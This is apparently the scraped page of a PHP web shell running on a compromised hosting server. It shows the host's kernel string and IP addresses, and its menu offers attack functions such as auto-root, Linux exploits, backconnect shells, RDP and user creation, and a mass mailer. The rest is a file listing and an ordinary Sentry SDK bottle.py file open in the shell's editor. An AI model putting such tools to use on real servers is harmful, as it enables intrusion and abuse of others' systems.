Linux boca.hozzt.com 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
: 159.253.39.62 | : 3.141.7.144
Cant Read [ /etc/named.conf ]
7.4.33
renovkoron
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
cloudlinux /
venv /
lib /
python3.11 /
site-packages /
sentry_sdk /
integrations /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
django
[ DIR ]
drwxr-xr-x
grpc
[ DIR ]
drwxr-xr-x
opentelemetry
[ DIR ]
drwxr-xr-x
redis
[ DIR ]
drwxr-xr-x
spark
[ DIR ]
drwxr-xr-x
__init__.py
6.67
KB
-rw-r--r--
_wsgi_common.py
4.43
KB
-rw-r--r--
aiohttp.py
11.28
KB
-rw-r--r--
argv.py
963
B
-rw-r--r--
arq.py
6.58
KB
-rw-r--r--
asgi.py
11.54
KB
-rw-r--r--
asyncio.py
2.98
KB
-rw-r--r--
atexit.py
1.8
KB
-rw-r--r--
aws_lambda.py
15.44
KB
-rw-r--r--
beam.py
5.56
KB
-rw-r--r--
boto3.py
4.44
KB
-rw-r--r--
bottle.py
6.32
KB
-rw-r--r--
celery.py
18.65
KB
-rw-r--r--
chalice.py
4.66
KB
-rw-r--r--
cloud_resource_context.py
6.6
KB
-rw-r--r--
dedupe.py
1.16
KB
-rw-r--r--
excepthook.py
2.21
KB
-rw-r--r--
executing.py
1.99
KB
-rw-r--r--
falcon.py
7.8
KB
-rw-r--r--
fastapi.py
4.39
KB
-rw-r--r--
flask.py
7.72
KB
-rw-r--r--
gcp.py
8.02
KB
-rw-r--r--
gnu_backtrace.py
2.86
KB
-rw-r--r--
httpx.py
4.89
KB
-rw-r--r--
huey.py
4.59
KB
-rw-r--r--
logging.py
8.97
KB
-rw-r--r--
loguru.py
2.98
KB
-rw-r--r--
modules.py
2.06
KB
-rw-r--r--
pure_eval.py
4.45
KB
-rw-r--r--
pymongo.py
5.87
KB
-rw-r--r--
pyramid.py
7.27
KB
-rw-r--r--
quart.py
7.2
KB
-rw-r--r--
rq.py
5.28
KB
-rw-r--r--
sanic.py
11.06
KB
-rw-r--r--
serverless.py
1.93
KB
-rw-r--r--
socket.py
2.88
KB
-rw-r--r--
sqlalchemy.py
4.14
KB
-rw-r--r--
starlette.py
22.67
KB
-rw-r--r--
starlite.py
9.85
KB
-rw-r--r--
stdlib.py
8.06
KB
-rw-r--r--
threading.py
2.87
KB
-rw-r--r--
tornado.py
7.17
KB
-rw-r--r--
trytond.py
1.7
KB
-rw-r--r--
wsgi.py
9.36
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : bottle.py
from __future__ import absolute_import from sentry_sdk.hub import Hub from sentry_sdk.tracing import SOURCE_FOR_STYLE from sentry_sdk.utils import ( capture_internal_exceptions, event_from_exception, parse_version, transaction_from_function, ) from sentry_sdk.integrations import Integration, DidNotEnable from sentry_sdk.integrations.wsgi import SentryWsgiMiddleware from sentry_sdk.integrations._wsgi_common import RequestExtractor from sentry_sdk._types import TYPE_CHECKING if TYPE_CHECKING: from sentry_sdk.integrations.wsgi import _ScopedResponse from typing import Any from typing import Dict from typing import Callable from typing import Optional from bottle import FileUpload, FormsDict, LocalRequest # type: ignore from sentry_sdk._types import EventProcessor, Event try: from bottle import ( Bottle, Route, request as bottle_request, HTTPResponse, __version__ as BOTTLE_VERSION, ) except ImportError: raise DidNotEnable("Bottle not installed") TRANSACTION_STYLE_VALUES = ("endpoint", "url") class BottleIntegration(Integration): identifier = "bottle" transaction_style = "" def __init__(self, transaction_style="endpoint"): # type: (str) -> None if transaction_style not in TRANSACTION_STYLE_VALUES: raise ValueError( "Invalid value for transaction_style: %s (must be in %s)" % (transaction_style, TRANSACTION_STYLE_VALUES) ) self.transaction_style = transaction_style @staticmethod def setup_once(): # type: () -> None version = parse_version(BOTTLE_VERSION) if version is None: raise DidNotEnable("Unparsable Bottle version: {}".format(BOTTLE_VERSION)) if version < (0, 12): raise DidNotEnable("Bottle 0.12 or newer required.") # monkey patch method Bottle.__call__ old_app = Bottle.__call__ def sentry_patched_wsgi_app(self, environ, start_response): # type: (Any, Dict[str, str], Callable[..., Any]) -> _ScopedResponse hub = Hub.current integration = hub.get_integration(BottleIntegration) if integration is None: return old_app(self, environ, start_response) return SentryWsgiMiddleware(lambda *a, **kw: old_app(self, *a, **kw))( environ, start_response ) Bottle.__call__ = sentry_patched_wsgi_app # monkey patch method Bottle._handle old_handle = Bottle._handle def _patched_handle(self, environ): # type: (Bottle, Dict[str, Any]) -> Any hub = Hub.current integration = hub.get_integration(BottleIntegration) if integration is None: return old_handle(self, environ) # create new scope scope_manager = hub.push_scope() with scope_manager: app = self with hub.configure_scope() as scope: scope._name = "bottle" scope.add_event_processor( _make_request_event_processor(app, bottle_request, integration) ) res = old_handle(self, environ) # scope cleanup return res Bottle._handle = _patched_handle # monkey patch method Route._make_callback old_make_callback = Route._make_callback def patched_make_callback(self, *args, **kwargs): # type: (Route, *object, **object) -> Any hub = Hub.current integration = hub.get_integration(BottleIntegration) prepared_callback = old_make_callback(self, *args, **kwargs) if integration is None: return prepared_callback # If an integration is there, a client has to be there. client = hub.client # type: Any def wrapped_callback(*args, **kwargs): # type: (*object, **object) -> Any try: res = prepared_callback(*args, **kwargs) except HTTPResponse: raise except Exception as exception: event, hint = event_from_exception( exception, client_options=client.options, mechanism={"type": "bottle", "handled": False}, ) hub.capture_event(event, hint=hint) raise exception return res return wrapped_callback Route._make_callback = patched_make_callback class BottleRequestExtractor(RequestExtractor): def env(self): # type: () -> Dict[str, str] return self.request.environ def cookies(self): # type: () -> Dict[str, str] return self.request.cookies def raw_data(self): # type: () -> bytes return self.request.body.read() def form(self): # type: () -> FormsDict if self.is_json(): return None return self.request.forms.decode() def files(self): # type: () -> Optional[Dict[str, str]] if self.is_json(): return None return self.request.files def size_of_file(self, file): # type: (FileUpload) -> int return file.content_length def _set_transaction_name_and_source(event, transaction_style, request): # type: (Event, str, Any) -> None name = "" if transaction_style == "url": name = request.route.rule or "" elif transaction_style == "endpoint": name = ( request.route.name or transaction_from_function(request.route.callback) or "" ) event["transaction"] = name event["transaction_info"] = {"source": SOURCE_FOR_STYLE[transaction_style]} def _make_request_event_processor(app, request, integration): # type: (Bottle, LocalRequest, BottleIntegration) -> EventProcessor def event_processor(event, hint): # type: (Dict[str, Any], Dict[str, Any]) -> Dict[str, Any] _set_transaction_name_and_source(event, integration.transaction_style, request) with capture_internal_exceptions(): BottleRequestExtractor(request).extract_into_event(event) return event return event_processor
Close